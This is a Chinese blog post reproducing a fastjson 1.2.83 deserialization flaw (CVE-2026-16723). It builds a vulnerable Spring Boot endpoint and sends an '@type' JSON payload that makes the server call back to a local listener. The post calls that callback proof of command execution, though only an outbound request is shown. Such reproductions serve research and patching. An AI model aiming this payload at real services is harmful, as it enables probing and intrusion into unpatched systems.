CVE-2026-16723复现(fastjson rce)
1. 漏洞介绍
Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库,支持将 Java 对象序列化为 JSON 字符串以及将 JSON 字符串反序列化为 Java 对象。该库凭借其出色的解析性能和简洁的 API 设计,在国内 Java 生态系统中占据主导地位,被广泛应用于企业级后端服务、微服务网关、数据接口层、缓存序列化以及日志处理等核心生产场景,是国内 Java 开发者最常用的 JSON 处理组件之一。
近期fastjson被爆出有CVE,能够做到RCE,阿里官方库也报了相应的情况
2. 漏洞复现
2.1 环境构建
目录结构:
fastjson-cve-lab/
├─ pom.xml
└─ src/main/
├─ java/lab/Application.java
└─ resources/application.properties
pom.xml内容:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
</parent>
<groupId>lab</groupId>
<artifactId>fastjson-cve-lab</artifactId>
<version>0.0.1-SNAPSHOT</version>
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- 漏洞版本 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
src/main/java/lab/Application.java:
package lab;
import com.alibaba.fastjson.JSON;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
@SpringBootApplication
@RestController
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
@PostMapping(value = "/parse", consumes = "application/json")
public String parse(@RequestBody String body) {
try {
JSON.parse(body);
return "parsed";
} catch (Exception e) {
return e.getClass().getName() + ": " + e.getMessage();
}
}
}
src/main/resources/application.properties:
server.address=127.0.0.1
server.port=8080
确保内容已经填充后,使用mvn进行打包:
mvn -q -DskipTests clean package
mvn dependency:tree "-Dincludes=com.alibaba:fastjson"
2.2 实际验证
确保构建的包没有出问题:
jar tf .\target\fastjson-cve-lab-0.0.1-SNAPSHOT.jar |
Select-String "BOOT-INF/lib/fastjson"
启动构建的java包:
java -jar .\target\fastjson-cve-lab-0.0.1-SNAPSHOT.jar因为在windows下复现该漏洞,不想多做折腾,为了验证该服务确实执行了我注入的命令,我在本地起了一个http服务器
python -m http.server 31337 --bind 127.0.0.1如果本地服务器能够收到来自fastjson应用的请求,说明命令执行成功了(并没有考虑完整的利用方法,仅复现)
现在对fastjson应用发送请求:
$body = '{"@type":"http://2130706433:31337/probe"}'
Invoke-WebRequest `
-Uri "http://127.0.0.1:8080/parse" `
-Method Post `
-ContentType "application/json" `
-Body $body
说明fastjson应用解析了我的恶意请求,朝着我自己启动的python服务器发送了请求。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果